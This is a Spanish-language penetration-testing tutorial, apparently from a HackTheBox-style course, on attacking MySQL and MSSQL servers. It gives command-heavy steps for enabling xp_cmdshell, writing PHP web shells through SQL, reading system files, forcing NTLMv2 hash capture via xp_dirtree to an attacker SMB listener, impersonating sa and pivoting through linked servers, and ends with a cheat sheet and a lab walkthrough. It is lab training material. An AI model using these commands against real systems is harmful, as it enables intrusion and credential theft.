Page cover

👾Ataques a Bases de Datos

MySQL y Microsoft SQL Server (MSSQL) son sistemas de administración de bases de datos relacionales que almacenan datos en tablas, columnas y filas. Muchos sistemas de bases de datos relacionales como MSSQL y MySQL utilizan el Structured Query Language (SQL) para consultar y mantener la base de datos.

Los hosts de bases de datos se consideran objetivos importantes, ya que son responsables de almacenar todo tipo de datos confidenciales, incluidos, entre otros, credenciales de usuario, Personal Identifiable Information (PII)datos relacionados con el negocio e información de pago. Además, esos servicios suelen estar configurados con usuarios muy privilegiados. Si obtenemos acceso a una base de datos, es posible que podamos aprovechar esos privilegios para realizar más acciones, incluidos movimientos laterales y escalada de privilegios.


Enumeración

De forma predeterminada, MSSQL usa puertos TCP/1433 y UDP/1434 y MySQL usa TCP/3306. Sin embargo, cuando MSSQL opera en modo "oculto", utiliza el puerto TCP/2433. Podemos usar la opción -sC de scripts predeterminados de Nmap de para enumerar los servicios de bases de datos en un sistema de destino:

afsh4ck@kali$ nmap -Pn -sV -sC -p1433 10.10.10.125

Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 02:09 BST
Nmap scan report for 10.10.10.125
Host is up (0.0099s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: mssql-test
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: mssql-test.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-08-26T01:04:36
|_Not valid after:  2051-08-26T01:04:36
|_ssl-date: 2021-08-26T01:11:58+00:00; +2m05s from scanner time.

Host script results:
|_clock-skew: mean: 2m04s, deviation: 0s, median: 2m04s
| ms-sql-info: 
|   10.10.10.125:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

El escaneo de Nmap revela información esencial sobre el objetivo, como la versión y el nombre de host, que podemos usar para identificar configuraciones erróneas comunes, ataques específicos o vulnerabilidades conocidas. Exploremos algunas configuraciones erróneas comunes y ataques específicos de protocolo.


Mecanismos de autenticación

MSSQL admite dos modos de autenticación , lo que significa que los usuarios se pueden crear en Windows o SQL Server:

tipo de autenticación

Descripción

Windows authentication mode

Este es el valor predeterminado, a menudo denominado seguridad integrada porque el modelo de seguridad de SQL Server está estrechamente integrado con Windows/Active Directory. Se confía en cuentas específicas de usuarios y grupos de Windows para iniciar sesión en SQL Server. Los usuarios de Windows que ya hayan sido autenticados no necesitan presentar credenciales adicionales.

Mixed mode

El modo mixto admite la autenticación mediante cuentas de Windows/Active Directory y SQL Server. Los pares de nombre de usuario y contraseña se mantienen dentro de SQL Server.

MySQL también admite diferentes métodos de autenticación , como nombre de usuario y contraseña, así como autenticación de Windows (se requiere un complemento). Además, los administradores pueden elegir un modo de autenticación por muchos motivos, incluida la compatibilidad, la seguridad, la usabilidad y más. Sin embargo, dependiendo del método que se implemente, pueden ocurrir errores de configuración.

En el pasado, había una vulnerabilidad CVE-2012-2122 en los servidores MySQL 5.6.x, entre otras, que nos permitía omitir la autenticación usando repetidamente la misma contraseña incorrecta para la cuenta dada porque la vulnerabilidad timing attack existía en la forma en que MySQL manejaba los intentos de autenticación.

En este ataque de sincronización, MySQL intenta repetidamente autenticarse en un servidor y mide el tiempo que tarda el servidor en responder a cada intento. Al medir el tiempo que tarda el servidor en responder, podemos determinar cuándo se ha encontrado la contraseña correcta, incluso si el servidor no indica éxito o fracaso.

En el caso de MySQL 5.6.x, el servidor tarda más en responder a una contraseña incorrecta que a una correcta. Así, si intentamos autenticarnos repetidamente con la misma contraseña incorrecta, eventualmente recibiremos una respuesta indicando que se encontró la contraseña correcta, aunque no sea así.

Configuraciones erróneas

La autenticación mal configurada en SQL Server puede permitirnos acceder al servicio sin credenciales si se habilita el acceso anónimo, se configura un usuario sin contraseña o cualquier usuario, grupo o máquina tiene permiso para acceder a SQL Server.

Privilegios

Dependiendo de los privilegios del usuario podremos realizar diferentes acciones dentro de un SQL Server, como por ejemplo:

  • Leer o cambiar el contenido de una base de datos.

  • Leer o cambiar la configuración del servidor.

  • Ejecutar comandos

  • Leer archivos locales

  • Comunicarse con otras bases de datos.

  • Capturar el hash del sistema local

  • Suplantar a usuarios existentes

  • Obtener acceso a otras redes

En esta sección, exploraremos algunos de estos ataques.


Ataques específicos de protocolo

Es fundamental comprender cómo funciona la sintaxis SQL. Podemos utilizar el módulo gratuito Fundamentos de inyección SQL para presentarnos la sintaxis SQL. Aunque este módulo cubre MySQL, la sintaxis de MSSQL y MySQL es bastante similar.

Leer/cambiar la base de datos

Imaginemos que obtuvimos acceso a una base de datos SQL. Primero, necesitamos identificar las bases de datos existentes en el servidor, qué tablas contiene la base de datos y, finalmente, el contenido de cada tabla. Hay que tener en cuenta que podemos encontrarnos con bases de datos con cientos de tablas. Si nuestro objetivo no es sólo obtener acceso a los datos, necesitaremos elegir qué tablas pueden contener información interesante para continuar con nuestros ataques, como nombres de usuario y contraseñas, tokens, configuraciones y más. Veamos cómo podemos hacer esto:

MySQL: conexión al servidor SQL

afsh4ck@kali$ mysql -u julio -pPassword123 -h 10.129.20.13

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Sqlcmd: conexión al servidor SQL

Desde Windows:

C:\htb> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
1>

Nota: Cuando nos autenticamos en MSSQL usando sqlcmdpodemos usar los parámetros -y(SQLCMDMAXVARTYPEWIDTH) y -Y(SQLCMDMAXFIXEDTYPEWIDTH) para obtener un resultado más atractivo. Tenga en cuenta que puede afectar el rendimiento.

Conexión desde Linux

Si apuntamos a MSSQL desde Linux, podemos usar sqsh como alternativa a sqlcmd:

afsh4ck@kali$ sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>

Alternativamente, podemos utilizar la herramienta de Impacket con el nombre mssqlclient.py.

afsh4ck@kali$ mssqlclient.py -p 1433 julio@10.129.203.7 

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password: MyPassword!

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208) 
[!] Press help for extra shell commands
SQL> 

Nota: Cuando nos autenticamos en MSSQL usando sqshpodemos usar el parámetro-h para deshabilitar encabezados y pies de página para una apariencia más limpia.

Cuando utilizamos la autenticación de Windows, debemos especificar el nombre de dominio o el nombre de host de la máquina de destino. Si no especificamos un dominio o nombre de host, asumirá la autenticación SQL y se autenticará con los usuarios creados en SQL Server. En cambio, si definimos el dominio o nombre de host, utilizará la Autenticación de Windows. Si nos dirigimos a una cuenta local, podemos usar SERVERNAME\\accountnameo .\\accountname. El comando completo se vería así:

afsh4ck@kali$ sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>

Bases de datos SQL predeterminadas

Antes de explorar el uso de la sintaxis SQL, es esencial conocer las bases de datos predeterminadas para MySQL y MSSQL. Esas bases de datos contienen información sobre la base de datos en sí y nos ayudan a enumerar nombres de bases de datos, tablas, columnas, etc. Con acceso a esas bases de datos, podemos usar algunos procedimientos almacenados del sistema, pero generalmente no contienen datos de la empresa.

Nota: Recibiremos un error si intentamos enumerar o conectarnos a una base de datos para la que no tenemos permisos.

Schemas/databases predeterminadas en MySQL :

  • mysql- es la base de datos del sistema que contiene tablas que almacenan la información requerida por el servidor MySQL

  • information_schema- proporciona acceso a los metadatos de la base de datos

  • performance_schema- es una característica para monitorear la ejecución del servidor MySQL en un nivel bajo

  • sys- un conjunto de objetos que ayuda a los administradores de bases de datos y a los desarrolladores a interpretar los datos recopilados por el esquema de rendimiento

Schemas/databases predeterminadas en MSSQL :

  • master- mantiene la información de una instancia de SQL Server.

  • msdb- utilizado por el Agente SQL Server.

  • model- una base de datos modelo copiada para cada nueva base de datos.

  • resource- una base de datos de solo lectura que mantiene los objetos del sistema visibles en cada base de datos del servidor en el esquema del sistema.

  • tempdb- mantiene objetos temporales para consultas SQL.


Sintaxis SQL

Mostrar bases de datos

mysql> SHOW DATABASES;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| htbusers           |
+--------------------+
2 rows in set (0.00 sec)

Si usamos sqlcmd, necesitaremos usar GO después de nuestra consulta para ejecutar la sintaxis SQL.

1> SELECT name FROM master.dbo.sysdatabases
2> GO

name
--------------------------------------------------
master
tempdb
model
msdb
htbusers

Seleccionar una base de datos

mysql> USE htbusers;

Database changed
1> USE htbusers
2> GO

Changed database context to 'htbusers'.

Mostrar tablas

mysql> SHOW TABLES;

+----------------------------+
| Tables_in_htbusers         |
+----------------------------+
| actions                    |
| permissions                |
| permissions_roles          |
| permissions_users          |
| roles                      |
| roles_users                |
| settings                   |
| users                      |
+----------------------------+
8 rows in set (0.00 sec)

Seleccionar una tabla

1> SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
2> GO

table_name
--------------------------------
actions
permissions
permissions_roles
permissions_users
roles      
roles_users
settings
users 
(8 rows affected)

Seleccionar todos los datos de la tabla "usuarios"

mysql> SELECT * FROM users;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 12:23:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
1> SELECT * FROM users
2> go

id          username             password         data_of_joining
----------- -------------------- ---------------- -----------------------
          1 admin                p@ssw0rd         2020-07-02 00:00:00.000
          2 administrator        adm1n_p@ss       2020-07-02 11:30:50.000
          3 john                 john123!         2020-07-02 11:47:16.000
          4 tom                  tom123!          2020-07-02 12:23:16.000

(4 rows affected)

Ejecutar comandos

Command executionEs una de las capacidades más deseadas a la hora de atacar servicios comunes porque nos permite controlar el sistema operativo. Si tenemos los privilegios adecuados, podemos utilizar la base de datos SQL para ejecutar comandos del sistema o crear los elementos necesarios para hacerlo.

MSSQL tiene un procedimiento almacenado extendido llamado xp_cmdshell que nos permite ejecutar comandos del sistema usando SQL. Tenga en cuenta lo siguiente sobre xp_cmdshell:

  • xp_cmdshelles una característica poderosa y está deshabilitada de forma predeterminada. xp_cmdshellse puede habilitar y deshabilitar mediante la administración basada en políticas o ejecutando sp_configure

  • El proceso de Windows generado xp_cmdshelltiene los mismos derechos de seguridad que la cuenta de servicio de SQL Server.

  • xp_cmdshellopera sincrónicamente. El control no se devuelve a la persona que llama hasta que se completa el comando del shell de comandos

Para ejecutar comandos usando la sintaxis SQL en MSSQL, use:

XP_CMDSHELL

1> xp_cmdshell 'whoami'
2> GO

output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)

Si xp_cmdshell no está habilitado, podemos habilitarlo, si tenemos los privilegios adecuados, usando el siguiente comando:

-- Para permitir que se cambien las opciones avanzadas. 
EXECUTE sp_configure 'show advanced options', 1
GO

-- Para actualizar el valor configurado actualmente para las opciones avanzadas. 
RECONFIGURE
GO  

-- Para habilitar la función. 
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- Para actualizar el valor configurado actualmente para esta característica.  
RECONFIGURE
GO

Existen otros métodos para obtener la ejecución de comandos, como agregar procedimientos almacenados extendidos , ensamblados CLR , trabajos del Agente SQL Server y scripts externos . Sin embargo, además de esos métodos, también existen funcionalidades adicionales que se pueden utilizar, como el xp_regwritecomando que se utiliza para elevar privilegios mediante la creación de nuevas entradas en el registro de Windows. Sin embargo, esos métodos están fuera del alcance de este módulo.

MySQL admite funciones definidas por el usuario que nos permiten ejecutar código C/C++ como una función dentro de SQL; hay una función definida por el usuario para la ejecución de comandos en este repositorio de GitHub . No es común encontrar una función definida por el usuario como esta en un entorno de producción, pero debemos tener en cuenta que es posible que podamos utilizarla.


Escribir archivos locales

MySQL no tiene un procedimiento almacenado como xp_cmdshell, pero podemos lograr la ejecución de comandos si escribimos en una ubicación en el sistema de archivos que pueda ejecutar nuestros comandos. Por ejemplo, supongamos que MySQL opera en un servidor web basado en PHP u otros lenguajes de programación como ASP.NET. Si tenemos los privilegios adecuados, podemos intentar escribir un archivo usando SELECT INTO OUTFILE en el directorio del servidor web. Luego podemos buscar la ubicación donde está el archivo y ejecutar nuestros comandos.

MySQL - Escribir archivo local

mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Query OK, 1 row affected (0.001 sec)

En MySQL, una variable global del sistema Secure_file_priv limita el efecto de las operaciones de importación y exportación de datos, como las realizadas por las declaraciones LOAD DATA y la función LOAD_FILE() . Estas operaciones sólo están permitidas a los usuarios que tienen el privilegio ARCHIVO .SELECT … INTO OUTFILE

secure_file_priv se puede establecer de la siguiente manera:

  • Si está vacía, la variable no tiene ningún efecto, lo que no es una configuración segura.

  • Si se configura con el nombre de un directorio, el servidor limita las operaciones de importación y exportación para que funcionen solo con archivos en ese directorio. El directorio debe existir; el servidor no lo crea.

  • Si se establece en NULL, el servidor deshabilita las operaciones de importación y exportación.

En el siguiente ejemplo, podemos ver que la variable secure_file_priv está vacía, lo que significa que podemos leer y escribir datos usando MySQL:

MySQL: privilegios de archivos seguros

mysql> show variables like "secure_file_priv";

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

1 row in set (0.005 sec)

Para escribir archivos usando MSSQL, necesitamos habilitar Ole Automation Procedimientos , que requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:

MSSQL: habilitar procedimientos de automatización Ole

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

MSSQL: Crear un archivo

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Leer archivos locales

De forma predeterminada, MSSQLpermite la lectura de archivos en cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura. Podemos utilizar la siguiente consulta SQL:

Leer archivos locales en MSSQL

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

BulkColumn

-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)

Como mencionamos anteriormente, de forma predeterminada una instalación de MySQL no permite la lectura de archivos arbitrarios, pero si contamos con la configuración correcta y los privilegios adecuados, podemos leer archivos usando los siguientes métodos:

MySQL - Leer archivos locales en MySQL

mysql> select LOAD_FILE("/etc/passwd");

+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

<SNIP>

Capturar hash del servicio MSSQL

En la sección Ataques a SMB, discutimos que podríamos crear un servidor SMB falso para robar un hash y abusar de alguna implementación predeterminada dentro de un sistema operativo Windows. También podemos robar el hash de la cuenta de servicio MSSQL utilizando procedimientos almacenados xp_subdirs o xp_dirtree no documentados, que utilizan el protocolo SMB para recuperar una lista de directorios secundarios en un directorio principal específico del sistema de archivos. Cuando utilizamos uno de estos procedimientos almacenados y lo apuntamos a nuestro servidor SMB, la funcionalidad de escucha del directorio obligará al servidor a autenticarse y enviar el hash NTLMv2 de la cuenta de servicio que ejecuta SQL Server.

Para que esto funcione, primero debemos iniciar Responder o impacket-smbserver y ejecutar una de las siguientes consultas SQL:

XP_DIRTREE Robo de hash

1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO

subdirectory    depth
--------------- -----------

XP_SUBDIRS Robo de hash

1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO

HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'

Si la cuenta del servicio tiene acceso a nuestro servidor, obtendremos su hash. Luego podemos intentar descifrar el hash o transmitirlo a otro host.

XP_SUBDIRS Robo de hash con Responder

afsh4ck@kali$ sudo responder -I tun0

                                         __               
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|              
<SNIP>

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000

XP_SUBDIRS Robo de hash con Impacket

afsh4ck@kali$ sudo impacket-smbserver share ./ -smb2support

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 
[*] Config file parsed                                                 
[*] Config file parsed                                                 
[*] Config file parsed
[*] Incoming connection (10.129.203.7,49728)
[*] AUTHENTICATE_MESSAGE (WINSRV02\mssqlsvc,WINSRV02)
[*] User WINSRV02\mssqlsvc authenticated successfully                        
[*] demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
[*] Closing down connection (10.129.203.7,49728)                      
[*] Remaining connections []

Suplantar a usuarios existentes con MSSQL

SQL Server tiene un permiso especial, llamado IMPERSONATE, que permite al usuario ejecutor asumir los permisos de otro usuario o iniciar sesión hasta que se restablezca el contexto o finalice la sesión. Exploremos cómo el privilegio IMPERSONATE puede conducir a una escalada de privilegios en SQL Server.

Primero, necesitamos identificar a los usuarios a los que podemos suplantar. Los administradores de sistemas pueden hacerse pasar por cualquier persona de forma predeterminada, pero para los usuarios que no son administradores, los privilegios deben asignarse explícitamente. Podemos utilizar la siguiente consulta para identificar a los usuarios que podemos suplantar:

Identificar usuarios que podemos suplantar

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
ben
valentin

(3 rows affected)

Para tener una idea de las posibilidades de escalada de privilegios, verifiquemos si nuestro usuario actual tiene el rol de administrador de sistemas:

Verificar nuestro usuario y rol actual

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)

Como indica el valor devuelto 0, no tenemos el rol de administrador de sistemas, pero podemos suplantar al sausuario. Nos haremos pasar por el usuario y ejecutaremos los mismos comandos. Para suplantar a un usuario, podemos usar la instrucción Transact-SQL EXECUTE AS LOGIN y configurarla para el usuario que queremos suplantar.

Hacerse pasar por el usuario SA (sysadmin)

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)

Ahora podemos ejecutar cualquier comando como administrador de sistemas como indica el valor devuelto 1. Para revertir la operación y volver a nuestro usuario anterior, podemos usar la declaración Transact-SQL REVERT.

Nota: Si encontramos un usuario que no es administrador de sistemas, aún podemos verificar si el usuario tiene acceso a otras bases de datos o servidores vinculados.


Comunicarse con otras bases de datos con MSSQL

MSSQL tiene una opción de configuración llamada servidores vinculados . Los servidores vinculados generalmente se configuran para permitir que el motor de base de datos ejecute una declaración Transact-SQL que incluya tablas en otra instancia de SQL Server u otro producto de base de datos como Oracle.

Si logramos acceder a un SQL Server con un servidor vinculado configurado, es posible que podamos movernos lateralmente a ese servidor de base de datos. Los administradores pueden configurar un servidor vinculado utilizando credenciales del servidor remoto. Si esas credenciales tienen privilegios de administrador de sistemas, es posible que podamos ejecutar comandos en la instancia remota de SQL. Veamos cómo podemos identificar y ejecutar consultas en servidores vinculados.

Identificar servidores vinculados en MSSQL

1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

(2 rows affected)

Como podemos ver en el resultado de la consulta, tenemos el nombre del servidor y la columna isremote, donde 1 significa es un servidor remoto y 0 es un servidor vinculado. Podemos ver sysservers Transact-SQL para más información.

A continuación, podemos intentar identificar el usuario utilizado para la conexión y sus privilegios. La instrucción EXECUTE se puede utilizar para enviar comandos de transferencia a servidores vinculados. Agregamos nuestro comando entre paréntesis y especificamos el servidor vinculado entre corchetes ( [ ]).

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)

Nota: Si necesitamos usar comillas en nuestra consulta al servidor vinculado, debemos usar comillas dobles simples para escapar de la comilla simple. Para ejecutar varios comandos a la vez podemos dividirlos con un punto y coma (;).

Como hemos visto, ahora podemos ejecutar consultas con privilegios de administrador de sistemas en el servidor vinculado. Como sysadmin, controlamos la instancia de SQL Server. Podemos leer datos de cualquier base de datos o ejecutar comandos del sistema con xp_cmdshell. Esta sección cubrió algunas de las formas más comunes de atacar bases de datos SQL Server y MySQL durante las pruebas de penetración. Existen otros métodos para atacar estos tipos de bases de datos, así como otros, como PostGreSQL , SQLite, Oracle, Firebase y MongoDB , que se tratarán en otros módulos. Vale la pena tomarse un tiempo para leer sobre estas tecnologías de bases de datos y también sobre algunas de las formas comunes de atacarlas.


Cheatsheet

Comando

Descripción

mysql -u julio -pPassword123 -h 10.129.20.13

Conexión al servidor MySQL

sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30

Conexión al servidor MSSQL

sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

Conexión al servidor MSSQL desde Linux

sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

Conexión al servidor MSSQL desde Linux mientras el servidor MSSQL utiliza el mecanismo de autenticación de Windows.

mysql> SHOW DATABASES;

Mostrar todas las bases de datos disponibles en MySQL

mysql> USE users;

Seleccionar una base de datos específica en MySQL

mysql> SHOW TABLES;

Mostr todas las tablas disponibles en la base de datos seleccionada en MySQL

mysql> SELECT * FROM users;

Seleccionar todas las entradas disponibles de la tabla "usuarios" en MySQL

sqlcmd> SELECT name FROM master.dbo.sysdatabases

Seleccionar todas las bases de datos disponibles en MSSQL

sqlcmd> USE htbusers

Seleccionar una base de datos específica en MSSQL

sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES

Mostar todas las tablas disponibles en la base de datos seleccionada en MSSQL

sqlcmd> SELECT * FROM users

Seleccionar todas las entradas disponibles de la tabla "usuarios" en MSSQ

sqlcmd> EXECUTE sp_configure 'show advanced options', 1

Permitir que se cambien las opciones avanzadas

sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1

Habilitar xp_cmdshell

sqlcmd> RECONFIGURE

Se utiliza después de cada comando sp_configure para aplicar los cambios

sqlcmd> xp_cmdshell 'whoami'

Ejecutar un comando del sistema desde el servidor MSSQL

mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'

Crear un archivo usando MySQL

mysql> show variables like "secure_file_priv";

Compruebe si los privilegios de archivos seguros están vacíos para leer archivos almacenados localmente en el sistema

sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Leer archivos locales en MSSQL

mysql> select LOAD_FILE("/etc/passwd");

Leer archivos locales en MySQL

sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'

Robo de hash usando el comando xp_dirtree en MSSQL

sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'

Robo de hash usando el comando xp_subdirs en MSSQL

sqlcmd> SELECT srvname, isremote FROM sysservers

Identificar servidores vinculados en MSSQL

sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]

Identificar el usuario y sus privilegios utilizados para la conexión remota en MSSQL


Caso práctico

Objetivo: 10.129.108.37

Usuario: "htbdbuser"

Contraseña: "MSSQLAccess01!"

Pregunta 1

¿Cuál es la contraseña del usuario "mssqlsvc"?

Vamos a conectarnos a la base de datos con el módulo mssqlclient de Impacket:

sudo impacket-mssqlclient -p 1433 htbdbuser@10.129.108.37 
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (htbdbuser  guest@master)> SHOW DATABASES;
[-] ERROR(WIN-02\SQLEXPRESS): Line 1: Could not find stored procedure 'SHOW'.
SQL (htbdbuser  guest@master)> SELECT name FROM master.dbo.sysdatabases
name      
-------   
master    
tempdb    
model        
msdb      
hmaildb  
flagDB   -- Aqui están la flag objetivo

SQL (htbdbuser  guest@master)>
SQL (htbdbuser  guest@master)> use flagDB
[-] ERROR(WIN-02\SQLEXPRESS): Line 1: The server principal "htbdbuser" is not able to access the database "flagDB" under the current security context.

Las flag objetivo está en flagDB pero no tenemos permisos para acceder, por lo que vamos a extraer el hash.

  1. Iniciamos Responder en nuestra máquina de atacante

afsh4ck@kali$ sudo responder -I tun0           
[sudo] contraseña para kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C
  
[+] Listening for events...
  1. Ejecutamos xp_dirtree en SQL:

SQL (htbdbuser  guest@msdb)> EXEC master..xp_dirtree '\\10.10.14.20\share\'
[+] Listening for events...
